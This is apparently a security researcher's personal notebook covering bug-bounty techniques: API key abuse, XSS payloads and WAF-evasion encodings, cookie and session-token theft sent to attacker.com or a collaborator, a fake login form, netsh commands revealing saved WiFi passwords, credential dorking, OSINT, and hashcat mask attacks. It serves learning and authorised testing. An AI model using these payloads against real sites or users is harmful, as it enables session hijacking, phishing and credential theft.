HackerONE Link PoC

?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9leHViZXJhbnQtaWNlLnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==

Google Maps API Key

The application's Google Maps API key lacks proper security configuration, which means that any user with access to the key can issue unauthorized requests to the Google Maps platform. This could result in financial costs to the victim if a large number of requests are submitted to the API endpoints, and in a worst-case scenario, it could even lead to a Denial of Service of the mapping function in the application. While there is no direct impact on the application itself, it is recommended to restrict the usage of the key as per the "API key best practices"

Since there is no direct impact on the application itself, this finding is set as a recommendation.

For reference, please see: https://developers.google.com/maps/api-key-best-practices#restrict_apikey

I tend to use the Google Maps API Scanner when playing around with this API key! A great scanner to find which places the API key has access to. This is how the results table will look like. Depending on how many resources the API key may access, the results table may vary in content.

Google Maps API Scanner

Impact

A large number of requests sent to the API endpoint by a malicious actor can inflate the costs associated with the account used for the Google Maps Platform service. If there is a configured limit for a maximum billable amount in the account associated with the API key, it might even result in a Denial of Service. Therefore, it is important to restrict API keys with application and API restrictions to prevent unauthorized use and charges.

Proof Of Concept

I've noted that API keys tend to start with these characters AIzaSy followed by a bunch of other random characters. Because i am unsure if all API keys start with these characters, i have saved all the custom parameters i have seen that contains the API key

Parameters containing API keys

These parameters can take different names depending on the Developer/Administrator. The parameters I have seen containing the API keys are as follows:

key
mapApiKey
gmaps_api_key
GOOGLE_API_KEY
window.googleMapApiKey
landingPageGoogleMapsAPIKey

Curl Syntax

Note how the grep will search for AIzaSy specifically followed by any small letters, capital letters, any integers as well as any underscore and dash. So far, these are the only characters in a Google API key that I've found

curl -sk https://example.com/ | grep -oP "AIzaSy[a-zA-Z0-9_-]+"

Prove the API key works

When you've found a Google API Key, change <API_KEY> to the found API Key. If it's invalid, the GoogleAPI will tell you, but if it's correct, it will show a picture:

https://maps.googleapis.com/maps/api/streetview?size=400x400&location=35.7040744,139.5577317&fov=100&heading=285&pitch=0&key=<API_KEY>

Remember that there are other URLs that can be used for API key verification. This is because when the API-key was bought, they receive certain permissions. With the Google API key scanner, you'll receive even more URLs to test with.

Invalid Google API key

Invalid Google API key

Valid Google API key

Valid Google API key

Local WiFi Passwords

It is possible to see saved passwords on previously connected WiFi access points. The computer remembers the WiFi's password so that the client user don't have to re-type the password every time they need to use the internet or get in range of the signal.

NOTE: This is closely related to the WiFi Triangluation Guide

Windows Exploit

To see all the Access Points a device have connected to and their clear-text passwords, use Command Prompt or PowerShell.

  1. Get a list of all SSIDs the target computer have accessed (unless a victim chose to forget an Access Point):
netsh wlan show profile

List Wifi Image

  1. The command shows the SSID info, revealing clear-text password, the encryption type and more (Change Guest Network accordingly):
netsh wlan show profile "Guest Network" key=clear

Reveal WiFi Passwords Image

Description

Cross-Site Scripting (aka XSS), the art of exploiting an injection vulnerability in order to:

  • Steal sensitive information (API keys or active user sessions)
  • Perform unauthorized request on behalf of a victim user (Change their password for them in the background for an ATO or privilege escalation)
  • Keylogging (Recording the victims keystrokes)
  • Phishing attacks (Make a chrome iframe or JavaScript looking like steams legitimate login page, also called window within a browser attack)

Different Request Types when Performing Cross-Site Scripting

XMLHttpRequests (aka XHR Requests)

For new people, this is a difficult method to use. In the following sample, it forces a victim to send a GET request towards /delete-me

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://example.com/delete-me', true);
xhr.send();
</script>

Fetch API Requests (aka Fetch Requests)

For new people, this is an easy method to use. In the following sample, it forces a victim to send a GET request towards /delete-me

<script>
fetch('https://example.com/delete-me');
</script>

Differences between the two request methods

Both methods have positive and negative functionalities they can or cannot do. However, this is mostly a concern regarding the more complex attacks towards a victim user. What will be shown here, will be enough to perform simpler attacks towards a victim without worrying about the two language differences but will add more descriptive differences between the two languages in the future. Use the one you are more comfortable with.

Attack Surface Creation via Cookie observation

  • While this may block an attacker from a Session Hijacking by sending the cookie to your collaborator, you may potentially see the session cookie reflected elsewhere in the body of a response and therefore extract the session from there, subsequently bypassing the HttpOnly attribute.
  • You can still send authenticated requests on behalf of a victim. An example would be towards the user settings where it may allow a victim to change their email. Using this finction might send a POST request with an anti CSRF-token. You can therefore extract the CSRF-token in the body and later send the "change email" as a POST request with the stolen CSRF-token. Allowing a malicious actor to password reset the account.
  • Forces the cookie to only be sent via HTTPS and not HTTP. An adversary may otherwise sniff the localnetwork for non-secure connections and see if these credentials are transmitted through the connection. This also means that your collaborator (for stealing cookies), might need to be a HTTPS if this flag is set.

The same site cookie is literally meant to protect against Cross-Site Attacks, like XSS or CSRF etc.

SameSite not defined

Google Chrome will default this cookie to Lax according to PortSwigger and many other web browser will likely follow. FireFox have for example implemented TotalCookieProtection by default to help users stay more private and more secure. The laws of Lax attribute is (most likely depending on browser) therefore applied here!

Set-Cookie: PHPSESSID=h5onbf7pctbr0t68adugdp2611; path=/; HttpOnly; Secure

SameSite set to None

This will simply disable SameSite all together for the cookie, allowing for example a Session Hijacking by sending the cookie's value to your collaborator.

Set-Cookie: PHPSESSID=h5onbf7pctbr0t68adugdp2611; path=/; SameSite=None; HttpOnly; Secure

SameSite set to Lax

An XSS may exist on https://app.example.com but you need to fetch for a CSRF token in https://internal.example.com/my-page to be used in another exploitative attack, like changing a victims email with a CSRF token included in the request. This would work if the Lax attribute is set on the session cookie, however, you can not send this cookie to your collaborator or send a POST request using this cookie. What you can do, is make requests on behalf of the user, like sending an authenticated GET request towards /change-email with a stolen CSRF token. Another attack that could be attempted is to see if the session cookie value is reflected anywhere in the HTTP response body in order to steal it there and send it to the collaborator, thus bypassing Lax attribute not sending the cookie value to your collaborator.

Set-Cookie: PHPSESSID=h5onbf7pctbr0t68adugdp2611; path=/; SameSite=Lax; HttpOnly; Secure

SameSite set to Strict

This restricts the cookie to be sent via any cross-site attacks.

Set-Cookie: PHPSESSID=h5onbf7pctbr0t68adugdp2611; path=/; SameSite=Strict; HttpOnly; Secure

Samples of Alert Payloads with Obfuscations

The following samples represent <script>alert(1)</script>

This section will give you a bunch of different alerts that may bypass WAFs. If they pop, you have a successful XSS! alert() is not the only function that may be called. A less common one is prompt() works as well if alert() is blacklisted.

Tag Obfuscation

When < followed by a letter is blocked, try:

<\img src=x...
</img src=x...
<%00img src=x...
<%08img src=x...
<%09img src=x...
<%0Dimg src=x...
<%0Aimg src=x...
<%0D%0Aimg src=x...

Tag Splitting

The payload is split into two parts, with the opening <script> tag being split from the rest of the payload. If the application strips the <script> tag only once, another will take it's place and pop the XSS.

<scr<script>ipt>alert(1)<scr<script>ipt>

Concatenation

Concatenating small parts of the payload to bypass a WAF and be executed in the browser.

var a = "<scr"; var b = "ipt>"; var c = "alert(1)"; var d = "</scr" + "ipt>";
document.write(a + b + c + d);

URL Encoding

Sometimes confuses the applications or WAFs. Can be wise to double encode certain characters too. An example would be <. Encoded once will become %3c but to URL encode it twice, the percentage must be encoded once again, becoming %253c. Good for when the target application only decodes it once and not multiple times. Thus encoding the precentage and becoming an URL encoded < in the backend and served to the victim user. The payload sample below is URL encoding once.

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e

HTML Entities

In this example, each character in the payload is represented by its corresponding HTML entity code and depending on the applications interpretation, this may execute.

<script>&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;</script>

Charcode Encoding

In this example, the payload is encoded using the String.fromCharCode() method, which takes Unicode values and converts them to their corresponding characters.

<script>eval(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62))</script>

Comment Confusion

<script>/*@cc_on@*//*@if(@_jscript_version>=5){@end@*/alert(1);/*@end@*/</script>

Unicode Encoding

The payload is represented using Unicode escape sequences.

<script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')</script>

Importing JavaScript Files

Google has an alert that may be called upon if you do not have your own.

https://maps.googleapis.com/maps/api/js?callback=alert()-print

Other

A mixed combination of all of the above techniques are a good way to evade both WAF and in some instances suspicious onlookers trying to identify any malicioud payloads!

Cross-Site Scripting Inspirations

Injection of a Login Page:

This creates a fake login form - Change <URL> parameter to your collaborator/externally facing domain.

<form action="https://<URL>/POC" method="post"><label for="username">Username:</label><input type="text" id="username" name="username" required><br><br><label for="password">Password:</label><input type="password" id="password" name="password" required><br><br><button type="button" style="height:40px;font-size:13pt;">Login</button></form>

Session Highjacking - Stealing Local/Session Storage

This payload steals a session token from the Session Storage but can also be stolen from Local Storage using JavaScript. The Payload below, steals the session storage (variable is named access_token, change to suit your needs) and sending it to the collaborator via a GET request. Be sure to exchange <URL> to your collaborator/externally facing domain.

<img src="1" onerror="var xhr= new XMLHttpRequest(); xhr.open('GET', 'https://<URL>?token='+window.sessionStorage.getItem('access_token')); xhr.send();" />

Important that mode: 'no-cors' is added within the request - Steals access_token from Local Storage and sends it to collaborator.

fetch('https://attacker.com', {
  method: 'POST',
  mode: 'no-cors',
  body:localStorage.getItem('access_token')
});

Session Hijacking - Steling Cookies

Stealing cookies (such as session cookie) is a simple JavaScript payload. Change <DOMAIN> to your collaborator

fetch(`https://<DOMAIN>/?cookies=${encodeURIComponent(document.cookie)}`)

Useful Settings and Setups

Useful settings. Can be in BurpSuite, in a web browser or other programs that can help in situations and make your life easier, more productive or become more effective.

BurpSuite

Useful settings that you may not have thought or heard about that could be convenient to add into the configuration file in project settings. This is the settings i love to keep active each time burpsuite is started.

IMPORTANT: When seting these settings up, please start a temporary project file followed by Use Burp Defaults settings. Don't let any requests through unless it's a setting you want that requires it or the requests will be saved into the configuration file (which we don't want). If requests have been made, go to HTTP History, rightclick within the request flow and select Clear History

Sorting requests in descending order

I prefer when the newest requests appear at the top instead of at the bottom in the HTTP History section.

Sorting Image

Unwanted Extensions

Some extentions are not of interest to us, or they are temporarily of interest until they have been gone through (such as JS files)

Let a few requests through. Click on HTTP History > Click on Filter: Showing all items > Add the following string into Filter by file extension within the Hide section.

Keep this checkbox unticked

js,svg,gif,png,jpg,jpeg,webp,woff,woff2,ttf,css,ico,mp4

Burp Extensions

Cached pages Removal

Sometimes we just want a raw response. We don’t want these on startup because we might want to test for a Reflected XSS and the page returns a 304 Not Modified, meaning this is a cached response.

Navigate to the Settings > Tools > Proxy > Match and Replace Rules and check the two boxes as follows. Do note that if you want to perform cache attacks, these should be unticked. Burp Cache

Intercept request Removal

I really dislike that BurpSuite keeps Interception on by default. Turn it off in Proxy > Intercept Intercept

Collaborator Leakage

If you have a private company or work within a company. Information leakage is critical, and we don’t want to leak which customers or vulnerabilities we test on websites. Therefore, set up your own domain within burps settings. Project > Collaborator > Burp Collaborator Server and tick Use Private Collaborator Server and fill out the form

Description

Having a favourite website you often use, but need to access it quickly. Here is a way to create a custom search in the web browser

Chrome Browser

  1. Find a website you use a lot for researching. For me, I will use the following two sites as I use these the most for searching up a WordPress plugins, themes or a CVEs
https://wpscan.com/plugin/<PLUGIN>
https://nvd.nist.gov/vuln/detail/<CVE>
  1. To Inject a search term within the URL, go to Chromes setting menu and look for the Site search function Site search Function sample
  2. Create your custom search accordingly, like the one below: Site search Setting sample
  3. Note how a search can be performed by typing for example @wps advanced-custom-fields-pro in the addressbar in a browser. Fits well with the WordPress Plugins found

Description

By default, Firefox adds www. just before the host domain. If you attempt to navigate to example.com. In some instances, there are different responses depending on if you have www. or not in a URL.

It is annoying when Firefox adds the www. which may cause a different/unwanted response. This is a way to stop Firefox from doing this.

Solve

  1. Navigate to Firefox Config. Such as the following within the URL bar:
about:config
  1. Search for the following string:
browser.fixup.alternate.prefix
  1. Set the value from www. => false
  2. Remember to close and restart Firefox!

Fingerprinting

Some websites protect and obfuscate what kind of webserver is in use or what components may be in use. This is why fingerprinting comes in handy. If you are attempting to perform an RCE within a fileupload, but you don't know which code to use so the server will be able to understand the injected code. Is it a Linux the webserver is ran on, or a Windows? They understand different types of code and you cannot uplaod a PHP code to a webserver that runs on an IIS framework.

Developers sometimes forget to change default cookies when creating an application. It is therefore recommended to change these to obfuscate what code the application understands.

Cookie NameBackend Code
PHPSESSIDPHP
JSESSIDJ2EE
CFID / CFTOKENCloudFusion
ASP.NET_SessionIdASP.NET
sessionFlask
ci_sessionPHP - CodeIgniter
cpsessionCpanel CMS

Header Positioning

Some developers and administrators are clever and remove the Server: nginx/1.2.3. How are we supposed to figure out the web server type if the server header is non-existent? If lucky, the developers have forgotten to change the header positions within the responses of the webserver. We could therefore take advantage of how the webserver have structured their header positions.

Depending on which order the headers line up in the response, we can potentially figure out what webserver the app is ran on. Do note that some application have added additional headers in between the ones shown below, like Strict-Transport-Security.

  • Example of Apache's header positions
HTTP/1.1 200 OK
Date
Server
Last-Modified
ETag
Accept-Ranges
Content-Length
Connection
Content-Type

Apache

HTTP/1.1 200 OK
Date: Thu, 05 Sep 2019 17:42:39 GMT
Server: Apache/2.4.41 (Unix)
Last-Modified: Thu, 05 Sep 2019 17:40:42 GMT
ETag: "75-591d1d21b6167"
Accept-Ranges: bytes
Content-Length: 117
Connection: close
Content-Type: text/html

Nginx

HTTP/1.1 200 OK
Server: nginx/1.17.3
Date: Thu, 05 Sep 2019 17:50:24 GMT
Content-Type: text/html
Content-Length: 117
Last-Modified: Thu, 05 Sep 2019 17:40:42 GMT
Connection: close
ETag: "5d71489a-75"
Accept-Ranges: bytes

Lighttpd

HTTP/1.0 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "4192788355"
Last-Modified: Thu, 05 Sep 2019 17:40:42 GMT
Content-Length: 117
Connection: close
Date: Thu, 05 Sep 2019 17:57:57 GMT
Server: lighttpd/1.4.54

Microsoft IIS

Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
Date: Fri, 24 Sep 2021 08:48:36 GMT
Connection: close
Content-Length: 2808

HTTP Parameter Behaviour

It is possible to add additional parameters and parameter values to understand the inner structure of a webserver.

PwnFunction YT-video!

What happens if you fill in your user information, but adding the parameters twice? Which one of these values will the application choose to evaluate in the backend?

Let's say fname, Lname and email parameters are in use on a registration page. Press save and you will most like see a POST request. We will use a GET request for convenience sake.

  • Original Request:
example.com/?fname=Charlie&lname=Chaplin&email=charlie%40chaplin.com

You will now see the following information saved in your account details page

  • Displayed on website:
Name:           Charlie
Last Name:      Chaplin
Email:          [email protected]

What happens if you were to add an extra parameter with a different value e.g fname=Oscar? Will the application choose Charlie, Oscar or Charlie, Oscar when you look into your account details?

  • Edited Request:
example.com/?fname=Charlie&fname=Oscar&lname=Chaplin&email=charlie%40chaplin.com
  • Displayed on website:
Name:           Charlie, Oscar
Last Name:      Chaplin
Email:          [email protected]

Here is a graph that may be of use to identify frameworks:

Parameter Graph

JSON Convertion

Use "Content Type Converter" burp extension. It can convert between JSON, XML and Raw HTTP parameters.

Bash Method - Convert JSON to Raw HTTP Parameters

sed -e 's/[{"}]//g' -e 's/:/=/g' -e 's/,/\&/g'

Example

NOTE: The raw HTTP will not be URL encoded

echo '{"email":"[email protected]","password":"test","submit":""}' | sed -e 's/[{"}]//g' -e 's/:/=/g' -e 's/,/\&/g'

Bash Sample

JavaScript Method - Convert JSON to Raw HTTP Parameters

  1. In the browser, open up the Developers Console by pressing F12 and navigate to the Console tab
  2. Enter the following JavaScript into the console
function conv(data){
let op = ""
for (const [key, value] of Object.entries(data)) {
  op+= "&"+key+"="+encodeURIComponent(value)
}
return op.substring(1)
}
  1. Input the JSON code within a variable. Change it accordingly for the JSON request that should be converted
test = {"email":"[email protected]","password":"test","submit":""}
  1. Call the variable you chose, in this case test, with the uploaded JavaScript parameter
conv(test)

JavaScript Sample

Archived URLs

Some websites may be limited and/or rather small in size. You need more parameters, hidden pages or directories. This is why archived URLs is a good thing and can be a goldmine in certain situations! You have probably used archive.org? Use this URL and change www.example.com to the target URL - keep /*

https://web.archive.org/cdx/search/cdx?url=www.example.com/*&collapse=urlkey&fl=original

Copy paste all URLs into sublime or other text editor of choice, I tend to use this regex to remove or clean the archived URLs that aren't too interesting.

  1. Remove all the file extensions that aren't of interest through CTRL + F, select all and remove
.*(\.jpg|\.jpeg|\.png|\.gif|\.woff|\.woff2|\.css|\.svg|\.ttf|\.eot|\.otf|\.ico|\.scss|\.webp).*
  1. Go through the URLs with an HTTP port :80 as these URLs are usually way too old. Usually aren't of interest as these endpoints don't exist. But depending on the app, they may still exist
.*(:80).*

Subdomain Enumeration

Change this accordingly by changing example.com

curl -s "https://web.archive.org/cdx/search/cdx?url=*.example.com/*&output=text&fl=original&collapse=urlkey" | cut -d'/' -f3 | sort -u

Asymmetric Private Keys

-----BEGIN ((EC|PGP|DSA|RSA|OPENSSH) )?PRIVATE KEY( BLOCK)?-----

AWS Secret Key Regex

(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z\/+]{40}['\"]

Email Address Finder

This regex will find any email address within the source

\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b

Curl Example:

curl -sk https://example.com/contact-us/ | grep -oE "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" | sort | uniq

Header Finder

Finding the important headers may be a bit tricky within BurpSuite and therefore this regex may help highlighting the important headers to lookout for.

Content-Security-Policy|X-Content-Type-Options|X-Frame-Options|Strict-Transport-Security

10 requests Bash

Sends 10 requests and greps for Server header. Perfect to note version differences which may indicate Load Balancers. Change Accordingly!

for i in {1..10}; do curl -sI "https://example.com/" | grep -i "Server:"; done

IP Address Finder

  • Find IPv4 Addresses
\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b
  • Searches for Private IPv4 addresses only
(^127\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^192\.168\.)
  • Searches for Private IPv4 addresses and IPv6
/(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])/
  • Finds any IP Address
curl -s https://www.example.com/ | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"

Path Finder

This regex will find any path within a file. For example within [[JS Files]] where paths may hide. It's tedious and neither fun to read thousands of JavaScript code. This is why Regex is used to speed up the process!

(?:"|')(?:((?:[a-zA-Z]{1,10}:\/\/|\/\/)[^\"'\/]{1,}\.[a-zA-Z]{2,}[^\"']{0,})|((?:\/|\.\.\/|\.\/)[^\"'><,;| *()(%%$^\/\\\[\]][^\"'><,;|()]{1,})|([a-zA-Z0-9_\-\/]{1,}\/[a-zA-Z0-9_\-\/]{1,}\.[a-z]{1,4}(?:[\?|\/][^\"|']{0,}|))|([a-zA-Z0-9_\-]{1,}\.(?:php|asp|aspx|jsp)(?:\?[^\"|']{0,}|)))(?:"|')
(?:"|')(((?:[a-zA-Z]{1,10}://|//)[^"'/]{1,}\.[a-zA-Z]{2,}[^"']{0,})|((?:/|\.\./|\./)[^"'><,;| *()(%%$^/\\\[\]][^"'><,;|()]{1,})|([a-zA-Z0-9_\-/]{1,}/[a-zA-Z0-9_\-/]{1,}\.(?:[a-zA-Z]{1,4}|action)(?:[\?|#][^"|']{0,}|))|([a-zA-Z0-9_\-/]{1,}/[a-zA-Z0-9_\-/]{3,}(?:[\?|#][^"|']{0,}|))|([a-zA-Z0-9_\-]{1,}\.(?:php|asp|aspx|jsp|json|action|html|js|txt|xml)(?:[\?|#][^"|']{0,}|)))(?:"|')

Source Code Identifiers

These regexes will attempt to grep for source code disclosures within given file or endpoint. Reason why I made this, is because in burp, I got a source code disclosure in a JS file response that was over 20 million bytes (160MB) large. This made burp bail out and say This message is too large to display. This is why I already made these regexes to find the source codes.

  • PHP Source Code PHP begins with <?php and ends with ?>
curl -sk https://example.com/path/to/file.js | grep -ioP "<\?php(.*?)\?>"
  • ASP & ASPX Source Code ASP begins with <% and ends with %>
curl -sk https://example.com/path/to/file.js | grep -ioP "<%(.*?)%>"

WebPack Paths

I have honestly not researched what WebPack is, all I know is that you may find it used on some websites. Such as in Developers Console within the Debugger menu. With some cleanup, it may be used as additional output

curl -sk https://example.com/_nuxt/f06eb3d.js.map | grep -oE 'webpack://[a-zA-Z0-9&./?=_%:-]*'

Time-Based Enumeration Graph

  1. Enumerate an existing and a non-existing user within Burps Intruder

  2. Within the enumeration window, navigate to the Columns tab, and check Response completed

Graph1 Image

(The image tests header enumeration, don't mind that)

  1. Once both enumerations are completed, press Save followed by Results table

Graph2 Image

  1. Un-tick all boxes except for Response completed and save the results within a txt file

  2. Copy-paste the results into a new Excel sheet and make sure to know the differences between an existing and non-existing user like the following:

Graph3 Image

  1. Highlight both of the results and press the box in the bottom right corner when presented with it

Graph4 Image

  1. Find the Line chart and pick this chart

  2. You may change the Theme and the "Chart Title" (personally love the dark theme)

  3. Once done, right-click the chart and Save as Picture

This chart could look something like this:

Graph5 Image

Finding Leaked Credentials

It's important to find leaked credentials. Easiest is to find it through an email address as this email tends to be static and unique across multiple different websites. Usernames aren't always unique are changeable and multiple people sometimes want to use the same username, but never the same email address.

FUN FACT

Did you know that 66% of the worlds population reuses the same passwords on multiple sites? If they do not reuse them, it's always a similar variant based off of heir old password. eg Summer2019 > Summer2020!

Where to begin?

  • Begin by scouting out the application
  • Note down all the emails and usernames you find on the application
  • Good way to test if a username or an email address is registered on an application is through User Enumeration

Once I have the Emails and Users, what then?

Use for example Have I Been Pwned to sort the compromised to the non-compromised accounts. We are only interested in the compromised accounts! Do note that even if HIBP detects that there wasn't a breach, it could still have been breached.

Where and how do I search for leaked credentials?

There are multiple ways to find leaked credentials and many of which I probably do not know of. However, some of which may be

How do I find credentials with Google Hacking/Dorking?

Let's say you have found [email protected] and his credentials have been leaked in one way or another (eg. HIBP). You can try to search for the email address within the Pastebin website. A google dork could look similar to this:

"[email protected]" site:pastebin.com

There might be no hits, try to remove @work-mail.com within the quotes because the user might use a private email address with the same name. Maybe even remove the quotes as there may be variations of the targets name within his/hers private email address:

"SwaggyMcSwagger" site:pastebin.com

Remember to use CTRL + F to use the search function within a page as it's not fun searching through thousands of lines

Other sites that may contain Credentials

https://jsfiddle.net
https://codebeautify.org
https://codepen.io
https://pastebin.com

Change example to the target website. e.g google[.]com to find any organization email. Such as [email protected] which could be compromized!

site:http://jsfiddle.net "example[.]com"
site:http://codebeautify.org "example[.]com"
site:http://codepen.io "example[.]com"
site:http://pastebin.com "example[.]com"

Social Media Bypass

Social Media Bypass Collection. We don't like the "You have to login" page, especially when we don't want to create an account just to research a singular page.

Twitter / X

Nitter is an amazing website to use for bypassing Twitters login popup.

Reddit - NSFW Bypass

When wanting to look at a mature rated (NSFW) content on reddit and you don't have an account. To bypass this, change the www -> old. Press continue on the popup! (Bottom link should bypass the restriction)

https://www.reddit.com/r/Linux/Random_NSFW-rated_Content
https://old.reddit.com/r/Linux/Random_NSFW-rated_Content

Reddit - Network Security Block Bypass

Bypasses Reddits Security Block. Use uBlock Origin browser plugin, go to Settings followed by My filters tab and paste the following code into it. Apply Changes. This will create a reddit_session cookie which bypasses their silly block.

! REDDIT BYPASS OF 'NETWORK SECURITY BLOCK'
reddit.com#%#//scriptlet('set-cookie-reload', 'reddit_session', '0')

Geographical Maps

Sometimes we need to find geographical places on Google Earth, Google Maps or maybe even Bing Maps. Don't judge me and i'll explain why people will be judging you for using bing.

What are the differences?

Google maps is awesome when it comes to satellite view and is even better than Bing. However, it comes with disadvantages, such as, what if StreetView isn't available in the area you want to research.

I hate Bing, but i will say, their Bird's eye View is amazing and is something that google does not have. It's a good tool to use when it's in an inaccessible area where the StreetView doesn't exist. What does Bird's eye View do? Imagine there's a plane, or a helicopter that have taken a picture with a real high resolution camera. This can in some cases give a more detailed view as it's:

  1. A higher resolution than a satellite view
  2. The picture is taken from an angle, instead of top-down view. Leaving you at times with better observation angles

To reach this, right-click a spot on the map and press View bird's eye (If it's grayed out, there's no image uploaded or uBlock/NoScript addon may block it) Bird's Eye View Sample

Great tool to see recently taken satellite pictures. Even better pictures if you try to track boats out at seas - An area where google maps doesn't tend to take very good pictures at. You may use the Box Zoom function to zoom in at your point of interest!

When an image is spotted, you see a fountain, a grocery shop and a church all within 100m of one another. Maybe you already know it's in Rome? Then this can help you identify where the picture is taken!

GitHub Quirks

Cool GitHub Quirks that can help in investigating a GitHub repository.

Email Disclosure

Be sure to check multiple different commits and repositories. The user may be using their work email and accidentally use their private email address (which is better for us as the attacker than a work email), when pushing an update to a repository.

  1. Navigate to a Git Repository eg. https://github.com/sherlock-project/sherlock

  2. Go to the commits by clicking "2,136 commits" in top right

commits

  1. Click a persons commit. Eg: https://github.com/sherlock-project/sherlock/commit/b3360170e9a7e092ec36608378f593adf9347d2e

  2. Append a .patch at the end of the URL and note the users email address exposed!

Data Search Engine

SiteDescription
SwissCowsPrivacy focused scraping from Bing
DuckDuckGoPrivacyfocused (somewhat) scraping from Bing
GoogleResults are great, but not for privacy
BingResults are mediocre, but not good for privacy
YahooInvasive crap website, spending 3 min unchecking consentagreement

Username Input

SiteDescription
WhatsMyNameJavaScript based - Good for OSINT

Boat Search Engines

SiteDescription
ShipSpottingFind details about boats
MarineTrafficFind location and details about boats
VesselFinderFind location and details about boats

Others

SiteDescription
UnlistedYTUnlisted YouTube Videos by Channel search

WiFi Triangulation

With an IP address, a non-governmental source can only obtain so much information. Such as which Country and Town the IP originated from.

Let's say an adversary has obtained remote access to a device and need a more accurate geographical point of origin of infected device. This is possible through WiFi Triangulation. When an attacker may triangulate the nearby WiFi Access Points to determine the device's exact location. Even if the victim were to use a VPN, and the attacker has a shell on the system, it could bypass the VPN usage and get the devices real and current location.

NOTE: Local WiFi Password is closely related to this subject. Additionally, the mathematics to actually perform the triangulation will be added in the future.

Exploit (15m accuracy)

The image below shows Jim Browning's YouTube video on how WiFi Triangulation may be performed.

  1. As the attacker, look for the identifiable information of the WiFi signals around the victims device. Such as SSID or BSSID. See Windows syntax for inspiration.
  2. Use Wigle WiFi to locate for example the three WiFi Signals (People scan WiFi signals across the world all the time, don't be surprised if your personal WiFi signal is there!) WiFi Signals
  3. Observe how an approximate location of targeted device may be revealed to the attacker WiFi Triangulation

Privacy

Privacy is not because you have something to hide. It's because you have something to protect. Currently focusing on Scandinavia but may change to EU in the future.

Sign in (Mobile BankID) and go to settings to remove your public data

Sign in (Mobile BankID) and go to settings to remove your public data

Sign in (Mobile BankID) and go to settings to remove your public data

Sign in (Mobile BankID) and go to settings to remove your public data

Contact customer support, give your person number and request a data removal

Contact customer support, give your person number and request a data removal

Contact customer support, give your person number and request a data removal

Fill out the form or contact customer support, give your person number and request a data removal -> [email protected]

  1. Search yourself up, scroll to the bottom of page and fill out the form at Ta bort mig och mina uppgifter
  2. Contact customer support, give your person number and request a data removal

Public Court Documents

The following is for you who have been convicted in court. I have never been convicted so I do not how well these companies comply for a data removal request.

Contact customer support, give your person number and request data removal -> [email protected]

At the time of writing, the website have not updated the data removal process according to the new laws in regards to data removal in Sweden. Research in progress. Contact is within linked page, scroll down to the bottom and press Nej at the Found your answer? section.

Google

Email template will be provided soon!

HashCat Mask Attack

In this section, you will learn how to "fine tune" your password cracking so that instead of it taking 2 days to crack a password, it will be cracked in 10 minutes! This is a valuable skill when penetration testing as time is of the essence.

NOTE: Please use Source or Finding Leaked Credentials for additional information about this topic! Here you can Identify a hash from examples. Here you may learn about hashes and cracking of hashes

Before you start

Every computer has a bottle neck. What you want to choose, is to use it's advantages for faster cracking (the best component in your device). Two of the most popular hash cracking programs used are HashCat and JohnTheRipper. They both come with advantages and disadvantages. Read up about it!

  • Hashcat - Uses the GPU to crack passwords
  • JohnTheRipper - Uses the CPU and/or GPU to crack passwords This is why it's important to choose the one you know will benefit you the most! In this Lab, HashCat will be used.

What are Masks?

HashCat comes with a really great feature, called Mask Attack. When brute forcing a 8 character long password, all small letters, it's unnecessary to include large characters and special characters, which it does by default and lengthening the whole process of the cracking by a large amount!

Why Mask Attacks?

Imagine you have extracted all hashes from a website, but the minimum requitement is 8 characters. No need to brute force 1-7 characters. Another instance might be that you've found someone's password in DirectoryBreach (see the first note) and you know that the first 4 chacters in the password. Therefore, make it faster by already setting these characters and brute force the rest of the characters. Less time consuming.

Mask Flags Overview

?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?h = 0123456789abcdef
?H = 0123456789ABCDEF
?s = «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
?a = ?l?u?d?s
?b = 0x00 - 0xff

Let's imagine the following 6 character password united. The MD5 hash for this is:

3db1a73a245aa55c61204c56c8d99f6d

By Default, HashCat will include:

  • Small characters - 26 (a-z)
  • Large Characters - 26 (A-Z)
  • Special Characters - 33

To calculate the amount of guesses the computer has to make, it's 85^6 (26+26+33 = 85) to the power of the amount of characters there are in the password attempted to be cracked (united having 6 characters). In this case, the computer needs to guess 377,149,515,625 hashes, which is a lot. The reason why is because of HashCat's default value of cracking.

We know that the password is only 6 (small) characters long, which we can fine tune. This results in 26^6 which equals to 308,915,776 hash guesses. Decreasing the time by a large margin!

Example Syntax

hashcat -a 3 -m 0 hashes.txt ?l?l?l?l?l?l

-a 3 - Attack = Brute Forcing -m 0 - Mode = MD5 Hash hashes.txt - Added all hashes to be cracked within this text-file ?l?l?l?l?l?l - 6 small characters (See Mask Flags section!)

Lab

8 characters! MD5 Hashes A = Capital Letter a = Small Letter 1 = Integer Character

  • 8 small - aaaaaaaa
5f4dcc3b5aa765d61d8327deb882cf99
4755d074657c2afcfa0a05823a2b96a2
bbb3606b5cab898386e0d9590278068e
